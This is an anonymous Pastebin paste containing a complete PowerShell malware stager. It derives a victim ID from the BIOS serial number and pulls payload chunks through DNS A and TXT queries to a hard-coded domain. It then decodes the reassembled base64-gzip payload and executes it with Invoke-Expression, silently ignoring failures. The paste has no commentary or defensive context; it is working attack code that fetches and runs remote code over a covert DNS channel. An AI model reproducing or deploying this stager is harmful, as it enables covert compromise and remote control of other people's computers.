Advertisement
Guest User

Untitled

a guest
Sep 20th, 2017
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.17 KB | None | 0 0
  1. function Pick-Domain {
  2. Param($DomainList)
  3. if ($DomainList.count -eq 1) {
  4. return $DomainList
  5. }
  6. return $DomainList[(Get-Random -Maximum ([array]$DomainList).count)]
  7. }
  8.  
  9. function Identify-Machine() {
  10. $serial = Get-WmiObject Win32_BIOS | Select -ExpandProperty SerialNumber
  11. $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
  12. $hash = ($md5.ComputeHash([system.Text.Encoding]::UTF8.GetBytes($serial)) | foreach { $_.ToString("X2") }) -join ""
  13.  
  14. return $hash.Substring(0, 10)
  15. }
  16.  
  17. function Try-Domains {
  18. [CmdletBinding()]
  19.  
  20. param([Parameter(ValueFromPipeline)]$DomainList, [Parameter()][scriptblock]$Action)
  21.  
  22. if ($DomainList.count -eq 0) {
  23. Throw "No domains"
  24. }
  25.  
  26. $domain = Pick-Domain($DomainList)
  27. try {
  28. return $Action.Invoke($domain)
  29. } catch {
  30. return Try-Domains ($DomainList | Where-Object { $_ –ne $domain }) $Action
  31. }
  32. }
  33.  
  34. function Do-DNS {
  35. [CmdletBinding()]
  36. param([Parameter()]$dns, [Parameter()]$type)
  37.  
  38. Write-Debug "[DNS] (${type}) ==> ${dns}"
  39. # DEBUG DEBUG DEBUG
  40. #Write-Host $type
  41. try {
  42. $data = Resolve-DnsName -Type $type $dns -ErrorAction Stop -DnsOnly -Debug:$false
  43. return $data
  44. } catch {
  45. Write-Host $Error[0]
  46. }
  47. }
  48.  
  49. function Do-DNS-TXT {
  50. [CmdletBinding()]
  51. param([Parameter()]$dns, [Parameter()]$type)
  52.  
  53. return (Do-DNS $dns $type | Select -ExpandProperty Strings) -join ''
  54. }
  55.  
  56. function Download-Stage {
  57. [CmdletBinding()]
  58. param([Parameter(ValueFromPipeline)]$DomainList)
  59. $stage = ''
  60. $domain = Pick-Domain $DomainList
  61. $partStage = 0
  62. $dns = "$(Identify-Machine).stage.$partStage.$domain"
  63. $dnsResponseA = Do-Dns $dns A | Select -ExpandProperty IPAddress
  64. while ($dnsResponseA -ne '0.0.0.0') {
  65. $bigInt = Ip-To-Long $dnsResponseA
  66. $bin = To-Bin-Number $bigInt
  67.  
  68. $dnsResponseTXT = (Do-DNS $dns TXT | Select -ExpandProperty Strings) -join ''
  69. $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
  70. $hash = ($md5.ComputeHash([system.Text.Encoding]::UTF8.GetBytes($dnsResponseTXT)) | foreach { $_.ToString("X2") }) -join ""
  71. $txtHex = [string]$hash[0] + [string]$hash[1] + [string]$hash[2] + [string]$hash[3] + [string]$hash[4] + [string]$hash[5] + [string]$hash[6] + [string]$hash[7]
  72. $txtInt = Hex-To-Int $txtHex
  73. $txtBin = To-Bin-Number $txtInt
  74.  
  75. if ([string]$bin -eq [string]$txtBin) {
  76. $stage += $dnsResponseTXT
  77. $domain = Pick-Domain $DomainList
  78. $partStage++
  79. }
  80. $dns = "$(Identify-Machine).stage.$partStage.$domain"
  81. $dnsResponseA = Do-Dns $dns A | Select -ExpandProperty IPAddress
  82. }
  83.  
  84. return [string]$stage
  85. }
  86.  
  87. function Hex-To-Int{
  88. [CmdletBinding()]
  89. param([Parameter(ValueFromPipeline)]$Hex)
  90.  
  91. $length = "$Hex".Length
  92. $mainLength = $length
  93. [bigint]$decimal = 0
  94. while ($length -ne 0) {
  95. $length--
  96. $liter = [string]$Hex[$length]
  97. if ($liter -eq "A"){
  98. $liter = 10
  99. }
  100. if ($liter -eq "B"){
  101. $liter = 11
  102. }
  103. if ($liter -eq "C"){
  104. $liter = 12
  105. }
  106. if ($liter -eq "D"){
  107. $liter = 13
  108. }
  109. if ($liter -eq "E"){
  110. $liter = 14
  111. }
  112. if ($liter -eq "F"){
  113. $liter = 15
  114. }
  115. $liter = [int]$liter
  116. $power = power 16 ($mainLength - $length - 1)
  117. $decimal += [bigint]($liter * $power)
  118. }
  119. return $decimal
  120. }
  121.  
  122. function power{
  123. [CmdletBinding()]
  124. param([Parameter(ValueFromPipeline)]$num1, [Parameter(ValueFromPipeline)]$num2)
  125. return [Math]::Pow($num1, $num2)
  126. }
  127.  
  128. function To-Bin-Number{
  129. [CmdletBinding()]
  130. param([Parameter(ValueFromPipeline)]$Number)
  131. $tmp = ''
  132.  
  133. $binNumber_ = ''
  134. $myNumber = $Number
  135. DO {
  136. $tmp = $myNumber % 2
  137. $binNumber = [string]$tmp + [string]$binNumber
  138.  
  139. $myNumber = [bigint]($myNumber / 2)
  140. } WHILE ($myNumber -ne 0)
  141.  
  142. return $binNumber
  143. }
  144.  
  145. function Ip-To-Long {
  146. [CmdletBinding()]
  147. param([Parameter(ValueFromPipeline)]$ip)
  148. $ipParts = "$ip".Split(".")
  149. $a = [bigint]([int]$ipParts[0] * 16777216)
  150. $b = [bigint]([int]$ipParts[1] * 65536)
  151. $c = [bigint]([int]$ipParts[2] * 256)
  152. $d = $ipParts[3]
  153. $base10IP = $a + $b + $c + $d
  154. return $base10IP
  155. }
  156.  
  157. function Long-To-Ip{
  158. [CmdletBinding()]
  159. param([Parameter(ValueFromPipeline)]$long)
  160. $a = [bigint]([bigint]$long / 16777216) % 256
  161. $b = [bigint]([bigint]$long / 65536) % 256
  162. $c = [bigint]([bigint]$long / 256) % 256
  163. $d = [bigint]([bigint]$long) % 256
  164. return [string]$a + '.' + [string]$b + '.' + [string]$c + '.' + [string]$d
  165. }
  166.  
  167. function Decode-String {
  168. [CmdletBinding()]
  169. param([Parameter(ValueFromPipeline)]$Code)
  170.  
  171. $gzipBytes = [System.Convert]::FromBase64String($Code)
  172. $codeBytes = Get-DecompressedByteArray($gzipBytes)
  173. return [system.Text.Encoding]::UTF8.GetString($codeBytes)
  174. }
  175.  
  176. # =============================================================================
  177.  
  178. function Get-DecompressedByteArray {
  179.  
  180. [CmdletBinding()]
  181. Param (
  182. [Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
  183. [byte[]] $byteArray = $(Throw("-byteArray is required"))
  184. )
  185. Process {
  186. Write-Verbose "Get-DecompressedByteArray"
  187. $input = New-Object System.IO.MemoryStream( , $byteArray )
  188. $output = New-Object System.IO.MemoryStream
  189. $gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
  190. $gzipStream.CopyTo( $output )
  191. $gzipStream.Close()
  192. $input.Close()
  193. [byte[]] $byteOutArray = $output.ToArray()
  194. Write-Output $byteOutArray
  195. }
  196. }
  197.  
  198. # =============================================================================
  199.  
  200. $domains = @("hellobot.fun")
  201. try {
  202. $stage = Download-Stage($domains) | Decode-String
  203. Invoke-Expression $stage
  204. } catch {
  205. Write-Debug "[Main] General failure"
  206. Write-Host $Error[0]
  207. # do nothing
  208. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement